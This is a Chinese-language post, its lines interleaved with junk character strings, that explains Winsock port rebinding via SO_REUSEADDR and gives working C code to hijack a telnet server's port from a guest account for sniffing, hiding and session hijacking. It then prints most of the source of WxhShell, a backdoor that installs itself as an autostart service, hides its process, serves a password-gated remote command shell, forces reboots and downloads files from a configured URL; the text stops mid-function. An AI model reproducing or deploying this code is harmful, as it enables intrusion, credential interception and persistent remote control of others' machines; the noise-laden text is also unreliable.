在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wl%ysM|x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
jbq x7x <mki@{ ;| saddr.sin_family = AF_INET;
@{{L1[~:0 w)* H&8h@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0FE_><e 7[='m{{=C bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`jR8RDD 4OLYB9HP_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
n 7B2rRJH lK/4"& 这意味着什么?意味着可以进行如下的攻击:
^wc:qll @=Pc{xp 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>r
C*. mE1Vr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=SuJ* @YRy)+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3QKBuo 5 (!F Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-O,:~a=*_ S&-F(#CF^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;7EeR M* L4T\mP7D7* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|A,.mOT '5*& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8@+<W%+th N-b'O`C #include
-hfkF+=U' #include
R\X;`ptT #include
o<p4r}*AVJ #include
%-fS:~$ DWORD WINAPI ClientThread(LPVOID lpParam);
A@?-"=h} int main()
p<h( {
r QNm2h WORD wVersionRequested;
AxH`4=3< DWORD ret;
~N}Zr$D WSADATA wsaData;
6Ad UlPM BOOL val;
x5xMr.vm SOCKADDR_IN saddr;
Pzd!"Gl9 SOCKADDR_IN scaddr;
rNicg]:\x int err;
/=l!F' SOCKET s;
l&e{GHz SOCKET sc;
O(-6Zqk8Q int caddsize;
6:8Nz HANDLE mt;
>'=9sCi DWORD tid;
>EA\KrjW wVersionRequested = MAKEWORD( 2, 2 );
tUZfQ err = WSAStartup( wVersionRequested, &wsaData );
G9xO>Xp^Al if ( err != 0 ) {
ZwY mR= printf("error!WSAStartup failed!\n");
js;YSg{m return -1;
,4XOe,WQ }
gBWr)R saddr.sin_family = AF_INET;
c;]^aaQ+> >ySO.S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3TeRZ=2:*x R>~I8k9mM saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
/*e<r6 saddr.sin_port = htons(23);
6{udNv X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5+Tx01) {
8[t*VIXI printf("error!socket failed!\n");
hT_Q_1, return -1;
3?`TEw~' }
"Xwsu8~ val = TRUE;
G(shZ=fq //SO_REUSEADDR选项就是可以实现端口重绑定的
3G 5xIr6
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(RrC<5" {
o(> #}[N} printf("error!setsockopt failed!\n");
Z
eY*5m return -1;
Ktt(l-e + }
)+Z.J]$O- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b&QI#w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+\dKe[j{g //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
C2zKt/)A FYu30 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qf ]le]J {
I*JJvqh ret=GetLastError();
F\&^(EL printf("error!bind failed!\n");
vaHtWz!P return -1;
Uc,.. }
a{}#t} listen(s,2);
_I3"35a while(1)
/pU`- {
B<Cg_C caddsize = sizeof(scaddr);
2'OY,Ooe //接受连接请求
@qW$un: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7I]?:%8h if(sc!=INVALID_SOCKET)
nFI<Te^) {
t5i58@{~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:kE* if(mt==NULL)
(M
u;U!M"P {
hMvJNI6O printf("Thread Creat Failed!\n");
3m4
sh~ break;
n"}*C|(k }
bUM4^m }
Wlq3r# CloseHandle(mt);
"+`u ] }
"Y5 :{Kj closesocket(s);
J{kS4v*J WSACleanup();
T%Cj#J&L return 0;
vr?u=_%Z }
Pk(%=P, DWORD WINAPI ClientThread(LPVOID lpParam)
9&Y|,&W {
O8v9tGZoh SOCKET ss = (SOCKET)lpParam;
R47y/HG, SOCKET sc;
]B~(yh unsigned char buf[4096];
V!yBH<X SOCKADDR_IN saddr;
1=9GV+`n long num;
T*C
F5S DWORD val;
Z!fbc#L6
DWORD ret;
Y[>h |@ //如果是隐藏端口应用的话,可以在此处加一些判断
-`z%<)!Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>o`+j$j saddr.sin_family = AF_INET;
`m#G'E I saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L})*ck saddr.sin_port = htons(23);
x;} 25A| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_(~E8g {
UmMu|` printf("error!socket failed!\n");
*V+,X return -1;
xC0y2+)| }
ea`6J val = 100;
,z`D}<3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<}c7E3Uc {
&%)F5PT ret = GetLastError();
XN?my@_HpM return -1;
:P%?!'M }
8r@GoG> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
rFm?Bu {
c(b`eUOO ret = GetLastError();
r~oUln<[ return -1;
-ULgVGYKK }
dWi.V?K4z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
L*4=b
(3 {
X_bB6A6 printf("error!socket connect failed!\n");
_/.VXW closesocket(sc);
+7
j/.R closesocket(ss);
Lc]hwMGR* return -1;
dN:^RCFzS }
fk1d iB while(1)
rf'A+q {
Vu4LC&q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\`2EfYJ{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
U#PgkP[4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Fe$o*r, num = recv(ss,buf,4096,0);
[TqX"@4NS if(num>0)
u}_x send(sc,buf,num,0);
C8)s6 else if(num==0)
ni )G break;
-{z[.v.p num = recv(sc,buf,4096,0);
P%Q'w if(num>0)
SJ;{ Hg send(ss,buf,num,0);
_F4=+dT| else if(num==0)
2S[:mnK break;
@7Ln1v }
`qCL&(`% closesocket(ss);
.A6pPRy e closesocket(sc);
9a sA-'fZ return 0 ;
(sH4T> }
9U3 }_ E(1G!uu< CQ Ei(ty ==========================================================
a~JZc<ze v/$<#2| 下边附上一个代码,,WXhSHELL
T-7(3#& k{lX K\zN ==========================================================
3KkJQ5a n<b}6L} #include "stdafx.h"
<Zfh5AM |\|
v%`r2 #include <stdio.h>
j!;E>`g #include <string.h>
ma) +
G! #include <windows.h>
G@T_o4t #include <winsock2.h>
a?Y> hvI #include <winsvc.h>
}&s |~ #include <urlmon.h>
}"%mP 4]& < %<nh`D #pragma comment (lib, "Ws2_32.lib")
pV 8U`T #pragma comment (lib, "urlmon.lib")
S?D]P'< z
3Z8vq #define MAX_USER 100 // 最大客户端连接数
E0!0 uSg& #define BUF_SOCK 200 // sock buffer
Wap\J7NY #define KEY_BUFF 255 // 输入 buffer
#\_FSr fX V@gG
x #define REBOOT 0 // 重启
=0;njL(7; #define SHUTDOWN 1 // 关机
P9S)7&+DL gd7!+6 #define DEF_PORT 5000 // 监听端口
~qTChCXP 5*90t{# #define REG_LEN 16 // 注册表键长度
mT|r:Yr: #define SVC_LEN 80 // NT服务名长度
N693eN! +~
Y.m8 // 从dll定义API
)S#?'gt* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
UxMei typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*Csxf[O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6~?yn-Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q8GCO\( u'T>Y1I // wxhshell配置信息
8W7ET@` struct WSCFG {
dg+"G|nr int ws_port; // 监听端口
W!=ur,F+ char ws_passstr[REG_LEN]; // 口令
U Q)^`Zj int ws_autoins; // 安装标记, 1=yes 0=no
am| 81)|a char ws_regname[REG_LEN]; // 注册表键名
{`>pigo char ws_svcname[REG_LEN]; // 服务名
/%{CJ0Y char ws_svcdisp[SVC_LEN]; // 服务显示名
SF ^$p$mC char ws_svcdesc[SVC_LEN]; // 服务描述信息
@.G;dL.f{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o62GEl25 int ws_downexe; // 下载执行标记, 1=yes 0=no
(5hUoDr! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q"f7$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$t5>1G1j7 &&"+\^3 };
Y10 +I:/8,&-x // default Wxhshell configuration
#a]\3X struct WSCFG wscfg={DEF_PORT,
;uZeYY? "xuhuanlingzhe",
!<X/_+G\ 1,
?fc<3q" "Wxhshell",
)WvOa] : "Wxhshell",
B~O<?@]d "WxhShell Service",
*N6sxFs "Wrsky Windows CmdShell Service",
P.^*K:5@ "Please Input Your Password: ",
tpgD{BY^wJ 1,
b`;&o^7gMO "
http://www.wrsky.com/wxhshell.exe",
g]?>6 %#rA "Wxhshell.exe"
u:wf:^ };
<<@F{B7h /7.//klN // 消息定义模块
XN3'k[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(&_~eYZU char *msg_ws_prompt="\n\r? for help\n\r#>";
yVpru8+eD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|gT8 QP char *msg_ws_ext="\n\rExit.";
R"z}q(O: char *msg_ws_end="\n\rQuit.";
^ZBTd5t# char *msg_ws_boot="\n\rReboot...";
/}eb1o char *msg_ws_poff="\n\rShutdown...";
%hz5) char *msg_ws_down="\n\rSave to ";
Y%(8'Ch Q5 o0!w char *msg_ws_err="\n\rErr!";
YCdtf7P=q char *msg_ws_ok="\n\rOK!";
Y|KT3 Cw5B
p9 char ExeFile[MAX_PATH];
>Wd_?NaI int nUser = 0;
^7*zi_Q HANDLE handles[MAX_USER];
1k$5'^]^9] int OsIsNt;
g<8Oezi 65 2';{o=TXV SERVICE_STATUS serviceStatus;
>I+p;V$@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
]x'd0GH"] G) 37?A) // 函数声明
rfh`;G5s int Install(void);
JM*!(\Y int Uninstall(void);
/f=31<+MtF int DownloadFile(char *sURL, SOCKET wsh);
_X{ GZJm int Boot(int flag);
scE#&OWF% void HideProc(void);
4i"fHVp8 int GetOsVer(void);
gmiLjI int Wxhshell(SOCKET wsl);
C +Wa(K void TalkWithClient(void *cs);
lxR]Bh+ int CmdShell(SOCKET sock);
@)ls+}=Y int StartFromService(void);
_]0<G8|Rv int StartWxhshell(LPSTR lpCmdLine);
YlZ&4 pqohLA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!bn=b>+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
sWVapup? &hM7y7 // 数据结构和表定义
9!dG Xq SERVICE_TABLE_ENTRY DispatchTable[] =
7H,)heA {
< 7*9b {wscfg.ws_svcname, NTServiceMain},
;2gO( {NULL, NULL}
"_+8z_ };
'W&ewZH_h \23m*3"W // 自我安装
-x!JTx[K int Install(void)
dvAz}3p0] {
^--8
cLB
n char svExeFile[MAX_PATH];
r\ C"Fx^ HKEY key;
eyn-bw strcpy(svExeFile,ExeFile);
Fgi;% 60xL.Z // 如果是win9x系统,修改注册表设为自启动
B @8lD\ if(!OsIsNt) {
-^< t%{d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
DX/oHkLD' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
srS)"Jt RegCloseKey(key);
Y/L*0M.< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wxF\enDY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\[AJWyP RegCloseKey(key);
}E&: return 0;
X7*fmD=Uy }
=9:gW5F69 }
jq_ i&~S }
8RcLs1n/ else {
J(9{P/ 2~yj
=D27Z // 如果是NT以上系统,安装为系统服务
P<LmCYm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CFu^i|7o if (schSCManager!=0)
~sNBklK {
sH%Ts@Pl SC_HANDLE schService = CreateService
tLP
Er@ (
_C,9c7K4 schSCManager,
TRE D_6 wscfg.ws_svcname,
P!XO8X 1F wscfg.ws_svcdisp,
Ggbz SERVICE_ALL_ACCESS,
Q5Epq
sKyC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
kR8,E 6Up SERVICE_AUTO_START,
5?f!hB|6 SERVICE_ERROR_NORMAL,
xO4""/n svExeFile,
oE,TA2 NULL,
1So`]N4 NULL,
R.YUUXT NULL,
sg4(@> NULL,
64Tb,AL_ NULL
?gMq:[XN );
F;T;'!mb if (schService!=0)
Bc'Mj=>; {
5+qdn|9%T CloseServiceHandle(schService);
TQQh:y CloseServiceHandle(schSCManager);
_SMi`ie# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I*n]8c strcat(svExeFile,wscfg.ws_svcname);
Qve5qJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Rt@O@oD I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
` ^;J<l RegCloseKey(key);
I]WvcDJ}C return 0;
b&RsxW7 }
9!ARr@ ; }
)&%Y{a# CloseServiceHandle(schSCManager);
hd`jf97* }
k+hl6$:Qj% }
VeOM `jy "@t bm[ return 1;
/bL L!nD=^ }
;/)$Cm &e 4P#4RB // 自我卸载
C*
0ZF int Uninstall(void)
Qm_;o( {
}#&L HKEY key;
qI<c47d;q 7JBr{3;eS if(!OsIsNt) {
v<mSd2B* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
apnpy\in RegDeleteValue(key,wscfg.ws_regname);
Q(4~r+ RegCloseKey(key);
%\~U>3Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
. "7-f]! RegDeleteValue(key,wscfg.ws_regname);
_v++NyZXx RegCloseKey(key);
tqjjn5! return 0;
0 1NP }
e{^^u$C1.e }
&}\{qFD; }
Tt,T6zs-< else {
N:%Nq8I}: **.23<n^W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
??("0U if (schSCManager!=0)
:NB.ib@* {
t$?#@8Yk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Zqb*-1Qw"* if (schService!=0)
'lOQb) {
T# gx2Y if(DeleteService(schService)!=0) {
7G0;_f{ CloseServiceHandle(schService);
f+\ UVq? CloseServiceHandle(schSCManager);
mE&SAm5#d return 0;
+Eel|)Z*Q }
!>/J]/4> CloseServiceHandle(schService);
i(V }
!/X>k{ CloseServiceHandle(schSCManager);
&-m}w :j= }
at1oxmy }
hf;S#.k +RnWeBXAT return 1;
?8;WP& }
<;cch6Z ,$RXN8x1 // 从指定url下载文件
q Ll4t/p int DownloadFile(char *sURL, SOCKET wsh)
N2lz{ {
We'= /! HRESULT hr;
?a'EkZ.dB char seps[]= "/";
SL
+\{V2 char *token;
]Rxrt~ ZB char *file;
OF:0jOW
char myURL[MAX_PATH];
ZP-9KA$" char myFILE[MAX_PATH];
]cWQ9 D%6}x^`Qk strcpy(myURL,sURL);
(!Xb8rV0_ token=strtok(myURL,seps);
VFm)!'=I while(token!=NULL)
KcW 5 {
Q5_ ,`r` file=token;
r$ I k*R token=strtok(NULL,seps);
_qh\
}
<N3~X,ch V}Oz!
O GetCurrentDirectory(MAX_PATH,myFILE);
KIKIag# strcat(myFILE, "\\");
^==Tv+T9U strcat(myFILE, file);
'z@]hm# send(wsh,myFILE,strlen(myFILE),0);
-lXQQ#V
- send(wsh,"...",3,0);
<vu~EY0. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`,4YPjk^ if(hr==S_OK)
2EO9IxIf return 0;
ce719n$
else
l_,6<wWp return 1;
Mgu9m8
`J xn)F(P 0kv }
}iLi5Qkx %=V"
}P[ // 系统电源模块
&3)6WD?:U int Boot(int flag)
p0}Yo8? OW {
RN;#H_
q HANDLE hToken;
$>Ow<!c TOKEN_PRIVILEGES tkp;
`>RM:!m6=$ h]IoH0/ if(OsIsNt) {
U.ZA%De OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
JV+Uy$P! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
JIc9csr:b tkp.PrivilegeCount = 1;
v
"[<pFj^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aJc>"#+
o AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:_+U[k(# if(flag==REBOOT) {
K9K.mGYc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
XXQC`%-]<i return 0;
'
-aLBAxy }
TGjxy1A else {
XjYMp3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
n"Jj'8k return 0;
hqwsgJ
}
YfNN&G4_ }
Iv{iJoe;UH else {
K)h<#F if(flag==REBOOT) {
c)q=il7ef if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-x?|[ +% return 0;
rxZk!- t)L }
%:dd#';g else {
VP7LKfv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>!c Ff$2' return 0;
PE[5oH }
)ub!tm }
mXsSOAD< 5bol)Z9BO return 1;
YeB C6`7y }
{yi!vw #kJ8 qN // win9x进程隐藏模块
O.aAa5^uh void HideProc(void)
'8I=Tn {
7dlMDHp\Y rERtOgi HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)a+bH </' if ( hKernel != NULL )
Qb;]4[3 {
"kucFf f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'z+Pa^)v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FE#|5;q. FreeLibrary(hKernel);
ONc#d'-L }
8zwH^q[`r f,BJb+0 return;
.li)k[] ts }
#X6=`Xe# m5hu;>gt // 获取操作系统版本
EAF\7J* int GetOsVer(void)
z,VXH ?.Zo {
[u-=<hnoa OSVERSIONINFO winfo;
Q1H.2JXr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
% 5BSXAc GetVersionEx(&winfo);
C3 m_sv#e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P+3
]g{2w return 1;
DG3Mcf@5 else
ADMeOdgca return 0;
Q0Gfwl }
~\%H0.P6 IY?o \vC // 客户端句柄模块
bf\ Uq<&IJ int Wxhshell(SOCKET wsl)
!'>#!S~h3 {
~fO#En
SOCKET wsh;
d 5hx%M struct sockaddr_in client;
~{6}SXp4U DWORD myID;
)F0Q2P1I B\`${O( while(nUser<MAX_USER)
cL"Ral-qB {
5+)_d%v=6! int nSize=sizeof(client);
O /h1ew wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QKoJxjR=^ if(wsh==INVALID_SOCKET) return 1;
T$V8n_; y! j>_m){w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9Lqz:4} if(handles[nUser]==0)
,yi@?lc closesocket(wsh);
LBcqFvj{& else
%Wc$S]>i nUser++;
;[|+tO_ }
{|e7^_ ke WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E/E|*6R &(20*Vn,O return 0;
UG<<.1JL }
WkoYkkuzj pU u')y // 关闭 socket
>Q)S-4iR void CloseIt(SOCKET wsh)
g
G|4+' t {
4&~*;an7 closesocket(wsh);
I*(7(>zgyv nUser--;
>EgMtZ88.< ExitThread(0);
W7IAW7w8U }
rE\&FVx *`tQX$F // 客户端请求句柄
F<,"{L void TalkWithClient(void *cs)
t9_&n.z {
C Y)[{r EhN@;D+ SOCKET wsh=(SOCKET)cs;
Ba
n^wX char pwd[SVC_LEN];
=1mIk0H` char cmd[KEY_BUFF];
3LVL5y7| char chr[1];
&2W`dEv]? int i,j;
f{'NO`G JJP!9< while (nUser < MAX_USER) {
y<y9'tx _Aw-{HE' if(wscfg.ws_passstr) {
sWgzHj(c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1mx;b)4t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@9MrTP //ZeroMemory(pwd,KEY_BUFF);
EFs\zWF i=0;
4ug4[ while(i<SVC_LEN) {
k6_OP] @t8{pb;v // 设置超时
0fR?zT? fd_set FdRead;
D\sh
+}" struct timeval TimeOut;
BagV\\#v4 FD_ZERO(&FdRead);
V> Nw2u!! FD_SET(wsh,&FdRead);
1sfs!b&E TimeOut.tv_sec=8;
[wUJ~~2# TimeOut.tv_usec=0;
mS]soYTQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'_xa>T} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}i\_`~ 4Y@q.QP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c$)!02 pwd
=chr[0]; zM'2opiUY
if(chr[0]==0xd || chr[0]==0xa) { gac/%_-HH7
pwd=0; 'Ub\8<HfJU
break; E^m2:J]G
} (DTkK5/%
i++; Q!W+vh
} =5h,ZB2A
M,P:<-J
// 如果是非法用户,关闭 socket hQDl&A
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R"QWap}
} f<@`{oP@
$`/F5R!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mmEe@-lE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~G~:R
0"`|f0}c
while(1) { <9?`zo$y
@z(s\T
ZeroMemory(cmd,KEY_BUFF); vslN([@JR
iIg99c7/&9
// 自动支持客户端 telnet标准 ?yvjX90
j=0; cX48?srG
while(j<KEY_BUFF) { U9q6m3#$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Za1VJ5-
cmd[j]=chr[0]; -O[9{`i]
if(chr[0]==0xa || chr[0]==0xd) { W;
?'
cmd[j]=0; kL%o9=R1
break; w Yr M2X@
} |B@\Nf7
j++; +/8KN
} Yo2n[
~g;lVj,N'
// 下载文件 0S>U_#-
if(strstr(cmd,"http://")) { XO4r rAYvW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); u[coWaPsZ
if(DownloadFile(cmd,wsh)) ldWr-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^uYr^(|[
else 4m/L5W:K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X1lL@ `r.5
} K]Q1VfeL=
else { eHI7= [h
7vK}aOs0
switch(cmd[0]) { }m-+EUEo9
)Ft>X9$
// 帮助 d##'0yg
case '?': { UmA'aq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BO-=X
78f@
break; /;rk-I
} J(x42Q}*S
// 安装 7Ust7%
case 'i': { pkEqd"G
if(Install()) OYNPZRu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0p ZX _L'
else o2NU~Ub
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w]VdIS
break; z
T#j.v
} rfc;
// 卸载 !4!Y~7sI"\
case 'r': { \Y}nehxG@
if(Uninstall()) /g]m,Y{OI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o_ SR
else npdpKd+*K"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {!7 ^w
break; +"2IQme5
} i^u5j\pfY*
// 显示 wxhshell 所在路径 l+i9)Fc<i
case 'p': { !3#*hL1fy
char svExeFile[MAX_PATH]; CZ_ (IT7
strcpy(svExeFile,"\n\r"); O[#pB.
4
strcat(svExeFile,ExeFile); -!z,t7!
send(wsh,svExeFile,strlen(svExeFile),0); :g=z}7!s
break; Ym"Nj
} X'h
J&-[P
// 重启 w>$2
case 'b': { xQ7-4N,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sDvtk]4o-4
if(Boot(REBOOT)) 4V0j1k&'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HX:rVHY
else { ! <xe Ao%8
closesocket(wsh); 6tg0=_c
ExitThread(0); _Tj`
} jB!Q8#&Q
break; Z&R{jQ,
} :3Hr:~
// 关机 wWR9dsB.;
case 'd': { mOvwdRKn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RtVG6'Y
if(Boot(SHUTDOWN)) hZ@Wl6FG;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #x;i R8^
else { 3mnq=.<(w
closesocket(wsh); ?1u2P$d
ExitThread(0); ]MXeWS(
} Z6I^HG{:
break; bl;C=n
} ngoAFb
// 获取shell o {bwWk7v6
case 's': { Q(Dp116
CmdShell(wsh); L0HkmaH
closesocket(wsh); N\OeWjA F
ExitThread(0); s'/ g:aJ
break; }+8w
} OJ:iQ
// 退出 P9aGDma
case 'x': { "##Ylq( "
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A<zSh}eh6
CloseIt(wsh); =c, m)\u/8
break; |tU4(hC
} J`8bh~7
// 离开 vpGeG
case 'q': { 3,cZ*4('d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lJloa'%v9
closesocket(wsh); >1=sw
qa
WSACleanup(); .?YLD+\A
exit(1); [9E<z2H
break; Wl:vO^
} >}~Pu|
_S
} b4$-?f?V
} _ ecKX</Q
qh)o44/
$
// 提示信息 SDTX3A1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )J"Lne*"
} xxh(VQdg
} U`es
n?m!
MDCK@?\
return; l`s_#3
} k]=Yi;
d?)C} 2
// shell模块句柄 SqhG\qE{Qj
int CmdShell(SOCKET sock) u^T{sQ"_
{ OJUH".o
STARTUPINFO si; )o<rU[oD]C
ZeroMemory(&si,sizeof(si)); :N<ZO`l?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7Xu.z9y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )r#^{{6[v
PROCESS_INFORMATION ProcessInfo; r1= :B'z
char cmdline[]="cmd"; ~97T0{E3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T
_O|gU
return 0; 4$oX,Q`#
} 8%s_~Yc
sILkTzsw
// 自身启动模式 S/?KC^JP
int StartFromService(void) 2V0gj
/&
{ 4|*H0}HOm
typedef struct V3'QA1$
{ h-Q3q:
DWORD ExitStatus; , wT$L3
DWORD PebBaseAddress; 4%TY`
II
DWORD AffinityMask; ~7tG%{t%
DWORD BasePriority; u:Q_XXT5
